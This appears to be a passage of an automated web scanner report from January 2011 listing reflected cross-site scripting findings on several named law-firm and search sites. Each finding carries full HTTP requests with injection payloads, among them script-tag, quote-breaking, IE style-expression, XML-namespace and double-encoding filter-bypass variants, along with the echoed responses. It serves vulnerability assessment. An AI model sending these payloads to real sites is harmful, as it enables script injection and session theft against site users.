The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 45f31'><script>alert(1)</script>f88730a84f4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /showoffice.aspx?Show=542&45f31'><script>alert(1)</script>f88730a84f4=1 HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=wiqyja45mfzer0uwjqmgms45; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 63794
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head pro ...[SNIP]... <a href='showoffice.aspx?Show=542&45f31'><script>alert(1)</script>f88730a84f4=1&PrintPage=True'> ...[SNIP]...
4.107. http://www.ebglaw.com/showoffice.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebglaw.com
Path:
/showoffice.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a79d'-alert(1)-'f0c22b0c26f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /showoffice.aspx?Show=542&5a79d'-alert(1)-'f0c22b0c26f=1 HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=xxbjjcegd5hxmw55jxay4l3b; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 63749
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head pro ...[SNIP]... <350) { location.href='showoffice.aspx?Show=542&5a79d'-alert(1)-'f0c22b0c26f=1&mobile=True' }
The value of the eTitle request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94895"><script>alert(1)</script>288abb3048 was submitted in the eTitle parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?fuseaction=correspondence.emailform&site_id=299&eTitle=Washington%2C%20D%2EC%2E94895"><script>alert(1)</script>288abb3048 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A16%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D369%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:16 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the eTitle request parameter is copied into the HTML document as plain text between tags. The payload 8d254<script>alert(1)</script>39610b88ceb was submitted in the eTitle parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?fuseaction=correspondence.emailform&site_id=299&eTitle=Washington%2C%20D%2EC%2E8d254<script>alert(1)</script>39610b88ceb HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A17%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D395%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the fuseaction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 145fe"><script>alert(1)</script>aed5c335ef1 was submitted in the fuseaction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?fuseaction=news.site145fe"><script>alert(1)</script>aed5c335ef1&site_id=299 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A00%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D210%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:00 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the fuseaction request parameter is copied into the HTML document as plain text between tags. The payload 6f457<script>alert(1)</script>e9f570c8d27 was submitted in the fuseaction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?fuseaction=news.site6f457<script>alert(1)</script>e9f570c8d27&site_id=299 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A02%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D218%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:02 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
...[SNIP]... </h2>
I received a fuseaction called "news.site6f457<script>alert(1)</script>e9f570c8d27" I don't know what to do with!<br> ...[SNIP]...
4.112. http://www.fulbright.com/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.fulbright.com
Path:
/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fed44"><script>alert(1)</script>c707a822c6a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?fuseaction=news.site&site_id=299&fed44"><script>alert(1)</script>c707a822c6a=1 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A39%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D575%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the pf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 660d3"><script>alert(1)</script>39aa8a72e69 was submitted in the pf parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?FUSEACTION=home.299&pf=y660d3"><script>alert(1)</script>39aa8a72e69 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A52%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D161%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:48:52 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the rss request parameter is copied into the value of an XML tag attribute which is encapsulated in double quotation marks. The payload 1c76a"><a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>2edafab2731 was submitted in the rss parameter. This input was echoed as 1c76a"><a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>2edafab2731 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
Request
GET /index.cfm?fuseaction=news.allrss&site_id=286&rss=y1c76a"><a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>2edafab2731 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A44%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D626%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:44 GMT;path=/ Content-Type: text/xml
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the tch request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 39b16(a)5ca85e9080f was submitted in the tch parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?sclient=psy&hl=en&q=washington%2C+dc+law+office&aq=f&aqi=&aql=&oq=&pbx=1&fp=f478bdfafcb0c911&tch=139b16(a)5ca85e9080f&ech=1&psi=WP42TYixLcOclgf_yNGIAw12954497006263 HTTP/1.1 Host: www.google.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=washington%2C+dc+law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Avail-Dictionary: GeNLY2f- Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2ee2d%253cscript%253ealert%25281%2529%253c%252fscript%253e72356283334 was submitted in the REST URL parameter 1. This input was echoed as 2ee2d<script>alert(1)</script>72356283334 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /washington%20dc%20law%20firms2ee2d%253cscript%253ealert%25281%2529%253c%252fscript%253e72356283334 HTTP/1.1 Host: www.info.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Info.com - washington dc law firms2ee2d%3cscript%3ealert%281%29%3c%2fscript%3e72356283334 - www.Info.com</title><l ...[SNIP]... <a href="http://Info.com/searchw?qkw=washington+dc+law+firms+2ee2d%3Cscript%3Ealert%281%29%3C%2Fscript%3E72356283334&r_cop=spell" style="text-decoration:underline">washington dc law firms 2ee2d<script>alert(1)</script>72356283334</a> ...[SNIP]...
4.117. http://www.jonesdaydiversity.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.jonesdaydiversity.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d512'-alert(1)-'f727d73fb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?2d512'-alert(1)-'f727d73fb9=1 HTTP/1.1 Host: www.jonesdaydiversity.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html>
<head> <title id="ctl00_htmlTitle">Jones Day Diversity</title> <link rel="stylesheet" ...[SNIP]... <![CDATA[ var myForm=document.forms['aspnetForm'];if(!myForm){myForm=document.aspnetForm;}myForm.action='/Home.aspx?2d512'-alert(1)-'f727d73fb9=1';//]]> ...[SNIP]...
4.118. http://www.learnestateplanning.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.learnestateplanning.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload faa91"><script>alert(1)</script>3a8a42ea6f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?faa91"><script>alert(1)</script>3a8a42ea6f9=1 HTTP/1.1 Host: www.learnestateplanning.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Wed, 19 Jan 2011 16:52:08 GMT Content-type: text/html Connection: close
The value of the CID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7005"style%3d"x%3aexpression(alert(1))"e433a090613 was submitted in the CID parameter. This input was echoed as b7005"style="x:expression(alert(1))"e433a090613 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /results.aspx?keyword=law+offices&CID=2531/x22b7005"style%3d"x%3aexpression(alert(1))"e433a090613 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the CID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload abc1a"%3bbdb542a73ab was submitted in the CID parameter. This input was echoed as abc1a";bdb542a73ab in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /results.aspx?keyword=law+offices&CID=2531/x22abc1a"%3bbdb542a73ab HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.121. http://www.local.com/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.local.com
Path:
/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbb72"style%3d"x%3aexpression(alert(1))"4ccefb20720 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dbb72"style="x:expression(alert(1))"4ccefb20720 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /results.aspx?keyword=law+offices&CID=2531/x22&dbb72"style%3d"x%3aexpression(alert(1))"4ccefb20720=1 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Dallas, TX law offices | Find ...[SNIP]... <select class="fl mR15" style="width:100px" onchange="location.href = 'http://www.local.com/results.aspx?keyword=law offices&CID=2531/x22&dbb72"style="x:expression(alert(1))"4ccefb20720=1&sort=$&page=1'.replace('$', this.options[this.selectedIndex].value);"> ...[SNIP]...
4.122. http://www.mckennacuneo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mckennacuneo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5b15f'><script>alert(1)</script>1d12d371487 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?5b15f'><script>alert(1)</script>1d12d371487=1 HTTP/1.1 Host: www.mckennacuneo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:52:37 GMT Server: Apache/2.2.15 (FreeBSD) X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 15847
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv='Content-Type' content='text/html; ...[SNIP]... <a id='emailThisPage' href='/?5b15f'><script>alert(1)</script>1d12d371487=1&email-this-page' rel='nofollow'> ...[SNIP]...
4.123. http://www.skadden.com/2011insights.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.skadden.com
Path:
/2011insights.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86470"-alert(1)-"c4c00aee9af was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2011insights.cfm?86470"-alert(1)-"c4c00aee9af=1 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2C86470%22%2Dalert%281%29%2D%22c4c00aee9af%3D1;expires=Fri, 11-Jan-2041 15:14:49 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//E ...[SNIP]... <script type="text/javascript"> extra = "height="+screen.height+",width="+screen.width+",location=no"; function printWindow(){ window.open("http://www.skadden.com/PrintToPDF.cfm?print=1&86470"-alert(1)-"c4c00aee9af=1","PDF",extra) }
function pdfWindow(url){ window.open(url,"PDF",extra); } </script> ...[SNIP]...
4.124. http://www.skadden.com/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.skadden.com
Path:
/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 90bb3"-alert(1)-"0eb36443031 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /index.cfm?contentID=42&itemID=1478&90bb3"-alert(1)-"0eb36443031=1 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
